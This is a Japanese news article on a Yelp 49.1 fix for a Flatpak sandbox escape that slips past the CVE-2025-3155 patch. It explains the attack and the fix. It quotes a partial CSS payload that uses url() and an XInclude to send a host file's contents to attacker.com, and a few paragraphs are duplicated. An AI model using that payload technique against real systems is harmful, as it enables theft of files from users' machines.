Yelp 49.1緊急修正、Flatpak脱出を許す再発
GNOMEのヘルプビューアYelpに、Flatpakサンドボックスを脱出してホストOSのファイルを盗み出せる脆弱性が見つかった。昨年のCVE-2025-3155の修正をすり抜ける、CSSとSVGを組み合わせた巧妙な攻撃だ。
GNOMEのヘルプビューアYelpに、Flatpakサンドボックスを脱出してホストOSのファイルを盗み出せる脆弱性が見つかった。昨年のCVE-2025-3155の修正をすり抜ける、CSSとSVGを組み合わせた巧妙な攻撃だ。
1年前の修正をすり抜けた攻撃経路
Yelp 49.1が5月6日に公開された。修正対象は、サンドボックス化されたFlatpakアプリがYelpを介してホストOSの任意ファイルを外部サーバーに送信できる脆弱性だ。GNOME開発者のマイケル・カタンザロ氏（Michael Catanzaro）が自身のブログで5月11日に公表した。
報告したのはオランダのセキュリティ企業Codean Labs。ドイツの政府機関Sovereign Tech Agencyが運営する「Sovereign Tech Resilience」プログラムの資金提供を受け、FlatpakとGNOMEプロジェクト群の監査を進める中で発見した。CVE番号は本記事執筆時点で割り当て待ちだ。
この脆弱性が厄介なのは、1年前の修正の再発という点にある。昨年4月、Yelpには「ghelp://」スキームを悪用してホストの任意ファイルを読み出せるCVE-2025-3155という深刻な脆弱性が報告されていた。今回見つかったのは、その修正が塞ぎきれていなかった別の攻撃面だ。昨年4月、Yelpには「ghelp://」スキームを悪用してホストの任意ファイルを読み出せるCVE-2025-3155という深刻な脆弱性が報告されていた。今回見つかったのは、その修正が塞ぎきれていなかった別の攻撃面だ。
攻撃はかなり巧妙で、私が日常的に目にする退屈なメモリ安全性のバグよりずっと影響が大きい。
—— マイケル・カタンザロ氏（GNOME開発者）
CSSとSVGで構成された罠
攻撃の仕組みを整理する。Flatpakアプリは、サンドボックスの中から外部のURIやファイルを開く際、xdg-desktop-portalのOpenURIポータルを経由する。ここでghelp://スキームのURIを渡すと、ホスト側のYelpが起動して、指定されたヘルプファイルを表示する仕組みになっている。
問題は、YelpのコンテンツセキュリティポリシーがCSSのstyle-srcディレクティブで外部URLを許可してしまっていたことだ。攻撃者はSVGに埋め込んだスタイルシートの中でCSSのurl()関数を呼び出し、includeタグで読み込んだホスト上の任意ファイルの中身を、外部サーバーへのリクエストURLに混ぜ込む。
たとえば「/tmp/leak」というホストOSのファイルを盗みたい場合、攻撃者は次のようなindex.pageファイルを共有可能な場所（$XDG_DATA_HOME配下など）に書き込んでおく。
background: url(https://attacker.com?leak=<include parse="text"
encoding="UTF-8" .../>)
Flatpakアプリからxdg-openで「ghelp://」スキーム経由でこのページを開かせると、Yelpはホスト側で起動し、includeタグで/tmp/leakの中身をURLパラメータに展開してattacker.comへ送信する。ユーザー操作は不要で、攻撃は静かに完了する。
SVGに埋め込んだCSSは、CVE-2025-3155で見つかったJavaScript経由の経路を塞いだ後の、いわば裏口だった。
「これはFlatpakのバグではない」
カタンザロ氏は今回の事案について、Flatpak自体の不具合ではないと明言している。Flatpakはサンドボックス内のアプリが外部のURIやファイルを開けるよう、OpenURIポータルという仲介の仕組みを提供している。リンクを開くたびにアプリ選択のダイアログが出てきたら使いにくいため、ユーザー操作なしで他アプリを起動できる設計になっているのは仕様だ。
ホストOSにインストールされたサンドボックス化されていないアプリは、本質的にFlatpakサンドボックスの攻撃面の一部となる。
—— カタンザロ氏のブログより
つまり、Flatpakアプリがホスト側の非サンドボックスアプリを呼び出せる以上、呼ばれる側のアプリにバグがあれば、それがそのままサンドボックス突破の足がかりになる。Yelpは長年GNOMEのデフォルトヘルプビューアとして配布されており、多くのディストリビューションで最初から入っている。攻撃者にとっては、ほぼ確実に存在する踏み台だ。
ここで考えるべきは、サンドボックスのホスト依存という構造的な現実だ。アプリ単体を隔離しても、外部アプリを呼び出す経路が残る限り、隔離は完璧にならない。サンドボックスは「アプリ自身の悪事」を防げても、「アプリが呼んだ別のアプリの脆弱性」までは防ぎきれない。
修正の中身と残された懸念
GitLabに残されたコミット履歴を追うと、5月6日付のコミット7856e7f7でYelp 49.1がタグ付けされている。NEWSファイルには「Fixed issue that could allow remoate access to local files（ローカルファイルへのリモートアクセスを許す可能性があった問題を修正）」と記載されている。
具体的な修正方針について、開発者のショーン・マッカンス氏（Shaun McCance）とカタンザロ氏のIssueでのやり取りが興味深い。当初、WebKitに対してCSSでのURL読み込みを禁止する方法を探っていたが、決定的な手段が見つからなかった。
そこで両氏が採用したのが、WebKitWebPage::send-requestシグナルでhttp://またはhttps://スキームのリクエストをすべて遮断するという力技だ。Yelp内部のヘルプ表示で外部HTTPリソースを読みに行く必要は本来ないため、シグナルでTRUEを返してリクエストをキャンセルすればよい。実質的には外部接続の全面禁止である。
ただし、これは万全の対策ではない。マッカンス氏自身がIssue上で「ws://やwss://、file://URLについてはどうだ」と問題提起しており、より堅牢な対策としてXIncludeの読み込み先をMallardドキュメントと同じディレクトリ配下に制限することを「数年前から検討していた」と打ち明けている。
1つ気になることがある。Yelpが効果的にアクセス可能なディレクトリを制限する呼び出しがあるかどうか、ということだ。XDG_CONFIG_HOMEとXDG_DATA_DIRSの外のファイルを読む必要は決してないはずだ。
—— マッカンス氏のコメントより
GNOME環境にはselinuxやLandlockといったサンドボックス機構があるものの、ディストリビューションごとに有効化状況がまちまちで、Yelp独自のサンドボックス整備は労力に見合わないという結論になったようだ。
ユーザーが今すべきこと
Yelp 49.1はGNOMEの公式GitLabで公開されており、各ディストリビューションのパッケージ更新を待つことになる。Fedora、Ubuntu、Debian、Arch Linuxなど主要なディストリビューションでYelpを使っている環境では、できるだけ早くシステム更新を適用したい。
Flatpakアプリを日常的に使う環境ほど、影響は大きくなる。Flathubから入れたアプリの中に万一悪意あるものが混じっていた場合、ホスト側のSSH秘密鍵や設定ファイルといった機微なデータが静かに流出する可能性があったわけだ。
カタンザロ氏は5月11日にこの件を自身のブログで公表した。CVE番号の割り当てを待たずにブログを出した理由について、本人は「すでに1週間近く公開状態にあり、これ以上ブログ投稿を遅らせたくなかった」と説明している。透明性を優先した判断だが、裏を返せば、それだけこの種の脆弱性が継続的な監査なしには見つかりにくいことを示している。
公的資金が監査を支える構図は、オープンソースの安全保障モデルとして注目に値する。ドイツ政府が主導するこのプログラムは、これまでにRuby on Rails、cURL、LLVM、systemdなどの監査を支援してきた実績がある。今回のYelpの件は、その投資がきちんと脆弱性発見という形で還元された一例といえる。
ヘルプビューアという、普段ほとんど意識しないアプリの中に、サンドボックス全体の安全性を左右する穴が潜んでいた。気づかぬまま使い続けるソフトウェアこそ、誰かが定期的に覗き込んでくれる必要がある。
参照元
他参照
